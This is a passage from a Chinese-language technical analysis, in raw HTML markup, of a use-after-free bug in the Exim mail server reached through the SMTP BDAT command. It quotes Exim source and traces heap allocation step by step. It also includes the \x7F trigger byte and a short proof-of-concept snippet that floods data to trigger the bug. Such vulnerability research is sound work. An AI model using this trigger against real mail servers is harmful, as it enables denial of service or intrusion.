</span><span class="pun">?</span><span class="pln"> CHUNKING_LAST </span><span class="pun">:</span><span class="pln"> CHUNKING_ACTIVE</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln">      chunking_data_left </span><span class="pun">=</span><span class="pln"> chunking_datasize</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln">      DEBUG</span><span class="pun">(</span><span class="pln">D_receive</span><span class="pun">)</span><span class="pln"> debug_printf</span><span class="pun">(</span><span class="str">"chunking state %d, %d bytes\n"</span><span class="pun">,</span></code></li><li class="L9"><code><span class="pln">                    </span><span class="pun">(</span><span class="kwd">int</span><span class="pun">)</span><span class="pln">chunking_state</span><span class="pun">,</span><span class="pln"> chunking_data_left</span><span class="pun">);</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">      </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_datasize </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln">    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">chunking_state </span><span class="pun">==</span><span class="pln"> CHUNKING_LAST</span><span class="pun">)</span></code></li><li class="L3"><code><span class="pln">      </span><span class="kwd">return</span><span class="pln"> EOD</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">    </span><span class="kwd">else</span></code></li><li class="L5"><code><span class="pln">      </span><span class="pun">{</span></code></li><li class="L6"><code><span class="pln">      </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">504</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln">        US</span><span class="str">"zero size for BDAT command"</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln">      </span><span class="kwd">goto</span><span class="pln"> repeat_until_rset</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln">      </span><span class="pun">}</span></code></li><li class="L0"><code></code></li><li class="L1"><code><span class="pln">      receive_getc </span><span class="pun">=</span><span class="pln"> bdat_getc</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">      receive_getbuf </span><span class="pun">=</span><span class="pln"> bdat_getbuf</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">      receive_ungetc </span><span class="pun">=</span><span class="pln"> bdat_ungetc</span><span class="pun">;</span></code></li><li class="L4"><code><span class="com">#ifndef</span><span class="pln"> DISABLE_DKIM</span></code></li><li class="L5"><code><span class="pln">      dkim_collect_input </span><span class="pun">=</span><span class="pln"> dkim_save</span><span class="pun">;</span></code></li><li class="L6"><code><span class="com">#endif</span></code></li><li class="L7"><code><span class="pln">      </span><span class="kwd">break</span><span class="pun">;</span><span class="pln">    </span><span class="com">/* to top of main loop */</span></code></li><li class="L8"><code><span class="pln">      </span><span class="pun">}</span></code></li><li class="L9"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L0"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L1"><code><span class="pun">}</span></code></li></ol>

BDAT命令进入下面这个分支:

<ol class="linenums"><li class="L0"><code><span class="pln">f </span><span class="pun">(</span><span class="pln">sscanf</span><span class="pun">(</span><span class="pln">CS smtp_cmd_data</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%u %n"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">chunking_datasize</span><span class="pun">,</span><span class="pln"> </span><span class="pun">&</span><span class="pln">n</span><span class="pun">)</span><span class="pln"> </span><span class="pun"><</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln">    </span><span class="pun">(</span><span class="kwd">void</span><span class="pun">)</span><span class="pln"> synprot_error</span><span class="pun">(</span><span class="pln">L_smtp_protocol_error</span><span class="pun">,</span><span class="pln"> </span><span class="lit">501</span><span class="pun">,</span><span class="pln"> NULL</span><span class="pun">,</span></code></li><li class="L3"><code><span class="pln">      US</span><span class="str">"missing size for BDAT command"</span><span class="pun">);</span></code></li><li class="L4"><code><span class="pln">    </span><span class="kwd">return</span><span class="pln"> ERR</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">    </span><span class="pun">}</span></code></li></ol>

因为 \x7F 所以sscanf获取长度失败,进入 synprot_error 函数,该函数同样是位于 smtp_in.c 文件中:

<ol class="linenums"><li class="L0"><code><span class="kwd">static</span><span class="pln"> </span><span class="kwd">int</span></code></li><li class="L1"><code><span class="pln">synprot_error</span><span class="pun">(</span><span class="kwd">int</span><span class="pln"> type</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">int</span><span class="pln"> code</span><span class="pun">,</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">data</span><span class="pun">,</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">errmess</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="kwd">int</span><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">-</span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="pln">log_write</span><span class="pun">(</span><span class="pln">type</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP %s error in \"%s\" %s %s"</span><span class="pun">,</span></code></li><li class="L6"><code><span class="pln">  </span><span class="pun">(</span><span class="pln">type </span><span class="pun">==</span><span class="pln"> L_smtp_syntax_error</span><span class="pun">)?</span><span class="pln"> </span><span class="str">"syntax"</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">"protocol"</span><span class="pun">,</span></code></li><li class="L7"><code><span class="pln">  string_printing</span><span class="pun">(</span><span class="pln">smtp_cmd_buffer</span><span class="pun">),</span><span class="pln"> host_and_ident</span><span class="pun">(</span><span class="pln">TRUE</span><span class="pun">),</span><span class="pln"> errmess</span><span class="pun">);</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(++</span><span class="pln">synprot_error_count </span><span class="pun">></span><span class="pln"> smtp_max_synprot_errors</span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln">  </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="lit">1</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">  log_write</span><span class="pun">(</span><span class="lit">0</span><span class="pun">,</span><span class="pln"> LOG_MAIN</span><span class="pun">|</span><span class="pln">LOG_REJECT</span><span class="pun">,</span><span class="pln"> </span><span class="str">"SMTP call from %s dropped: too many "</span></code></li><li class="L3"><code><span class="pln">    </span><span class="str">"syntax or protocol errors (last command was \"%s\")"</span><span class="pun">,</span></code></li><li class="L4"><code><span class="pln">    host_and_ident</span><span class="pun">(</span><span class="pln">FALSE</span><span class="pun">),</span><span class="pln"> string_printing</span><span class="pun">(</span><span class="pln">smtp_cmd_buffer</span><span class="pun">));</span></code></li><li class="L5"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">code </span><span class="pun">></span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln">  smtp_printf</span><span class="pun">(</span><span class="str">"%d%c%s%s%s\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> code</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="pun">?</span><span class="pln"> </span><span class="str">'-'</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> </span><span class="str">' '</span><span class="pun">,</span></code></li><li class="L0"><code><span class="pln">    data </span><span class="pun">?</span><span class="pln"> data </span><span class="pun">:</span><span class="pln"> US</span><span class="str">""</span><span class="pun">,</span><span class="pln"> data </span><span class="pun">?</span><span class="pln"> US</span><span class="str">": "</span><span class="pln"> </span><span class="pun">:</span><span class="pln"> US</span><span class="str">""</span><span class="pun">,</span><span class="pln"> errmess</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="kwd">yield</span><span class="pln"> </span><span class="pun">==</span><span class="pln"> </span><span class="lit">1</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln">    smtp_printf</span><span class="pun">(</span><span class="str">"%d Too many syntax or protocol errors\r\n"</span><span class="pun">,</span><span class="pln"> FALSE</span><span class="pun">,</span><span class="pln"> code</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">return</span><span class="pln"> </span><span class="kwd">yield</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pun">}</span></code></li></ol>

然后在 synprot_error 函数中有一个 string_printing 函数,位于 src/string.c 代码中:

<ol class="linenums"><li class="L0"><code><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span></code></li><li class="L1"><code><span class="pln">string_printing2</span><span class="pun">(</span><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">s</span><span class="pun">,</span><span class="pln"> BOOL allow_tab</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pun">{</span></code></li><li class="L3"><code><span class="kwd">int</span><span class="pln"> nonprintcount </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L4"><code><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L5"><code><span class="kwd">const</span><span class="pln"> uschar </span><span class="pun">*</span><span class="pln">t </span><span class="pun">=</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">uschar </span><span class="pun">*</span><span class="pln">ss</span><span class="pun">,</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">;</span></code></li><li class="L7"><code></code></li><li class="L8"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L9"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L0"><code><span class="pln">  </span><span class="kwd">int</span><span class="pln"> c </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">++;</span></code></li><li class="L1"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">mac_isprint</span><span class="pun">(</span><span class="pln">c</span><span class="pun">)</span><span class="pln"> </span><span class="pun">||</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">allow_tab </span><span class="pun">&&</span><span class="pln"> c </span><span class="pun">==</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">))</span><span class="pln"> nonprintcount</span><span class="pun">++;</span></code></li><li class="L2"><code><span class="pln">  length</span><span class="pun">++;</span></code></li><li class="L3"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L4"><code></code></li><li class="L5"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">nonprintcount </span><span class="pun">==</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span><span class="pln"> </span><span class="kwd">return</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="com">/* Get a new block of store guaranteed big enough to hold the</span></code></li><li class="L8"><code><span class="com">expanded string. */</span></code></li><li class="L9"><code></code></li><li class="L0"><code><span class="pln">ss </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">length </span><span class="pun">+</span><span class="pln"> nonprintcount </span><span class="pun">*</span><span class="pln"> </span><span class="lit">3</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> </span><span class="lit">1</span><span class="pun">);</span></code></li><li class="L1"><code></code></li><li class="L2"><code><span class="com">/* Copy everything, escaping non printers. */</span></code></li><li class="L3"><code></code></li><li class="L4"><code><span class="pln">t </span><span class="pun">=</span><span class="pln"> s</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">tt </span><span class="pun">=</span><span class="pln"> ss</span><span class="pun">;</span></code></li><li class="L6"><code></code></li><li class="L7"><code><span class="kwd">while</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t </span><span class="pun">!=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L9"><code><span class="pln">  </span><span class="kwd">int</span><span class="pln"> c </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">mac_isprint</span><span class="pun">(</span><span class="pln">c</span><span class="pun">)</span><span class="pln"> </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">allow_tab </span><span class="pun">||</span><span class="pln"> c </span><span class="pun">!=</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">))</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">++;</span><span class="pln"> </span><span class="kwd">else</span></code></li><li class="L1"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln">    </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'\\'</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">    </span><span class="kwd">switch</span><span class="pln"> </span><span class="pun">(*</span><span class="pln">t</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln">      </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln">      </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\n'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'n'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">      </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\r'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'r'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln">      </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\b'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'b'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pln">      </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\v'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'v'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln">      </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\f'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'f'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">      </span><span class="kwd">case</span><span class="pln"> </span><span class="str">'\t'</span><span class="pun">:</span><span class="pln"> </span><span class="pun">*</span><span class="pln">tt</span><span class="pun">++</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> </span><span class="str">'t'</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln">      </span><span class="kwd">default</span><span class="pun">:</span><span class="pln"> sprintf</span><span class="pun">(</span><span class="pln">CS tt</span><span class="pun">,</span><span class="pln"> </span><span class="str">"%03o"</span><span class="pun">,</span><span class="pln"> </span><span class="pun">*</span><span class="pln">t</span><span class="pun">);</span><span class="pln"> tt </span><span class="pun">+=</span><span class="pln"> </span><span class="lit">3</span><span class="pun">;</span><span class="pln"> </span><span class="kwd">break</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">      </span><span class="pun">}</span></code></li><li class="L3"><code><span class="pln">    t</span><span class="pun">++;</span></code></li><li class="L4"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L5"><code><span class="pln">  </span><span class="pun">}</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">tt </span><span class="pun">=</span><span class="pln"> </span><span class="lit">0</span><span class="pun">;</span></code></li><li class="L7"><code><span class="kwd">return</span><span class="pln"> ss</span><span class="pun">;</span></code></li><li class="L8"><code><span class="pun">}</span></code></li></ol>

string_printing2 函数中,用到 store_get , 长度为 length + nonprintcount * 3 + 1 ,比如 BDAT \x7F 这句命令,就是 6+1*3+1 => 0x0a ,我们继续跟踪store中的全局变量,因为 0xa < yield_length ,所以直接使用的Exim的堆分配,不会用到malloc,只有当上一次malloc 0x2000的内存用完或不够用时,才会再进行malloc

最后一步,就是PoC中的发送大量数据去触发UAF:

<ol class="linenums"><li class="L0"><code><span class="pln">s </span><span class="pun">=</span><span class="pln"> </span><span class="str">'a'</span><span class="pun">*</span><span class="lit">6</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> p64</span><span class="pun">(</span><span class="lit">0xdeadbeef</span><span class="pun">)*(</span><span class="lit">0x1e00</span><span class="pun">/</span><span class="lit">8</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">r</span><span class="pun">.</span><span class="pln">send</span><span class="pun">(</span><span class="pln">s</span><span class="pun">+</span><span class="pln"> </span><span class="str">':\r\n'</span><span class="pun">)</span></code></li></ol>

再回到 receive.c 文件中,读取用户输入的是1788行的循环,然后根据meh所说,UAF的触发点是下面这几行代码:

<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">ptr </span><span class="pun">>=</span><span class="pln"> header_size </span><span class="pun">-</span><span class="pln"> </span><span class="lit">4</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln">    </span><span class="kwd">int</span><span class="pln"> oldsize </span><span class="pun">=</span><span class="pln"> header_size</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">    </span><span class="com">/* header_size += 256; */</span></code></li><li class="L4"><code><span class="pln">    header_size </span><span class="pun">*=</span><span class="pln"> </span><span class="lit">2</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">store_extend</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> oldsize</span><span class="pun">,</span><span class="pln"> header_size</span><span class="pun">))</span></code></li><li class="L6"><code><span class="pln">      </span><span class="pun">{</span></code></li><li class="L7"><code><span class="pln">      uschar </span><span class="pun">*</span><span class="pln">newtext </span><span class="pun">=</span><span class="pln"> store_get</span><span class="pun">(</span><span class="pln">header_size</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln">      memcpy</span><span class="pun">(</span><span class="pln">newtext</span><span class="pun">,</span><span class="pln"> </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">,</span><span class="pln"> ptr</span><span class="pun">);</span></code></li><li class="L9"><code><span class="pln">      store_release</span><span class="pun">(</span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text</span><span class="pun">);</span></code></li><li class="L0"><code><span class="pln">      </span><span class="kwd">next</span><span class="pun">-></span><span class="pln">text </span><span class="pun">=</span><span class="pln"> newtext</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln">      </span><span class="pun">}</span></code></li><li class="L2"><code><span class="pln">    </span><span class="pun">}</span></code></li></ol>

当输入的数据大于等于 0x100-4 时,会触发 store_extend 函数, next->text 的值上面提了,是 heap1+0x10 oldsize=0x100, header_size = 0x100*2 = 0x200

然后在 store_extend 中,有这几行判断代码:

<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">CS ptr </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">!=</span><span class="pln"> CS </span><span class="pun">(</span><span class="pln">next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span><span class="pln"> </span><span class="pun">||</span></code></li><li class="L1"><code><span class="pln">    inc </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> rounded_oldsize </span><span class="pun">-</span><span class="pln"> oldsize</span><span class="pun">)</span></code></li><li class="L2"><code><span class="pln">  </span><span class="kwd">return</span><span class="pln"> FALSE</span><span class="pun">;</span></code></li></ol>

其中 next_yield = heap1+0x120 , ptr + 0x100 = heap1+0x110

因为判断的条件为true,所以 store_extend 返回False

这是因为在之前 string_printing 函数中中分配了一段内存,所以在 receive_msg 中导致堆不平衡了,

随后进入分支会修补这种不平衡,执行 store_get(0x200)

然后把用户输入的数据复制到新的堆中

随后执行 store_release 函数,问题就在这里了,之前申请的0x2000的堆还剩0x1cf0,并没有用完,但是却对其执行glibc的free操作,但是之后这个free后的堆却仍然可以使用,这就是我们所知的UAF, 释放后重用漏洞

<ol class="linenums"><li class="L0"><code><span class="kwd">for</span><span class="pln"> </span><span class="pun">(</span><span class="pln">b </span><span class="pun">=</span><span class="pln"> chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">];</span><span class="pln"> b </span><span class="pun">!=</span><span class="pln"> NULL</span><span class="pun">;</span><span class="pln"> b </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L1"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln">  storeblock </span><span class="pun">*</span><span class="pln">bb </span><span class="pun">=</span><span class="pln"> b</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">bb </span><span class="pun">!=</span><span class="pln"> NULL </span><span class="pun">&&</span><span class="pln"> CS block </span><span class="pun">==</span><span class="pln"> CS bb </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">)</span></code></li><li class="L4"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L5"><code><span class="pln">    b</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> bb</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">;</span></code></li><li class="L6"><code><span class="pln">    </span><span class="pun">.......</span></code></li><li class="L7"><code><span class="pln">    free</span><span class="pun">(</span><span class="pln">bb</span><span class="pun">);</span></code></li><li class="L8"><code><span class="pln">    </span><span class="kwd">return</span><span class="pun">;</span></code></li><li class="L9"><code><span class="pln">    </span><span class="pun">}</span></code></li></ol>

其中, bb = chainbase->next = heap1 , 而且 next->text == bb + 0x10

所以能成功执行 free(bb)

因为输入了大量的数据,所以随后还会执行:

但是这些都不能满足判断: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) || inc > yield_length[store_pool] + rounded_oldsize - oldsize)

所以都是返回true,不会进入到下面分支

但是到 store_extend(next->text, 0x1000, 0x2000) 的时候,因为满足了第二个判断 0x2000-0x1000 > yield_length[store_pool] , 所以又一次返回了False

所以再一次进入分支,调用 store_get(0x2000)

因为 0x2000 > yield_length 所以进入该分支:

<ol class="linenums"><li class="L0"><code><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun">></span><span class="pln"> yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L1"><code><span class="pln">  </span><span class="pun">{</span></code></li><li class="L2"><code><span class="pln">  </span><span class="kwd">int</span><span class="pln"> length </span><span class="pun">=</span><span class="pln"> </span><span class="pun">(</span><span class="pln">size </span><span class="pun"><=</span><span class="pln"> STORE_BLOCK_SIZE</span><span class="pun">)?</span><span class="pln"> STORE_BLOCK_SIZE </span><span class="pun">:</span><span class="pln"> size</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">  </span><span class="kwd">int</span><span class="pln"> mlength </span><span class="pun">=</span><span class="pln"> length </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">  storeblock </span><span class="pun">*</span><span class="pln"> newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(</span><span class="pln">  </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L7"><code><span class="pln">     </span><span class="pun">&&</span><span class="pln"> </span><span class="pun">(</span><span class="pln">newblock </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pun">)</span></code></li><li class="L8"><code><span class="pln">     </span><span class="pun">&&</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun"><</span><span class="pln"> length</span></code></li><li class="L9"><code><span class="pln">     </span><span class="pun">)</span></code></li><li class="L0"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L1"><code><span class="pln">    </span><span class="com">/* Give up on this block, because it's too small */</span></code></li><li class="L2"><code><span class="pln">    store_free</span><span class="pun">(</span><span class="pln">newblock</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln">    newblock </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L4"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L5"><code></code></li><li class="L6"><code><span class="pln">  </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">newblock</span><span class="pun">)</span></code></li><li class="L7"><code><span class="pln">    </span><span class="pun">{</span></code></li><li class="L8"><code><span class="pln">    pool_malloc </span><span class="pun">+=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln">           </span><span class="com">/* Used in pools */</span></code></li><li class="L9"><code><span class="pln">    nonpool_malloc </span><span class="pun">-=</span><span class="pln"> mlength</span><span class="pun">;</span><span class="pln">        </span><span class="com">/* Exclude from overall total */</span></code></li><li class="L0"><code><span class="pln">    newblock </span><span class="pun">=</span><span class="pln"> store_malloc</span><span class="pun">(</span><span class="pln">mlength</span><span class="pun">);</span></code></li><li class="L1"><code><span class="pln">    newblock</span><span class="pun">-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> NULL</span><span class="pun">;</span></code></li><li class="L2"><code><span class="pln">    newblock</span><span class="pun">-></span><span class="pln">length </span><span class="pun">=</span><span class="pln"> length</span><span class="pun">;</span></code></li><li class="L3"><code><span class="pln">    </span><span class="kwd">if</span><span class="pln"> </span><span class="pun">(!</span><span class="pln">chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">])</span></code></li><li class="L4"><code><span class="pln">      chainbase</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L5"><code><span class="pln">    </span><span class="kwd">else</span></code></li><li class="L6"><code><span class="pln">      current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]-></span><span class="kwd">next</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L7"><code><span class="pln">    </span><span class="pun">}</span></code></li><li class="L8"><code></code></li><li class="L9"><code><span class="pln">  current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">;</span></code></li><li class="L0"><code><span class="pln">  yield_length</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span><span class="pln"> newblock</span><span class="pun">-></span><span class="pln">length</span><span class="pun">;</span></code></li><li class="L1"><code><span class="pln">  next_yield</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">=</span></code></li><li class="L2"><code><span class="pln">    </span><span class="pun">(</span><span class="kwd">void</span><span class="pln"> </span><span class="pun">*)(</span><span class="pln">CS current_block</span><span class="pun">[</span><span class="pln">store_pool</span><span class="pun">]</span><span class="pln"> </span><span class="pun">+</span><span class="pln"> ALIGNED_SIZEOF_STOREBLOCK</span><span class="pun">);</span></code></li><li class="L3"><code><span class="pln">  </span><span class="pun">(</span><span class="kwd">void</span><span 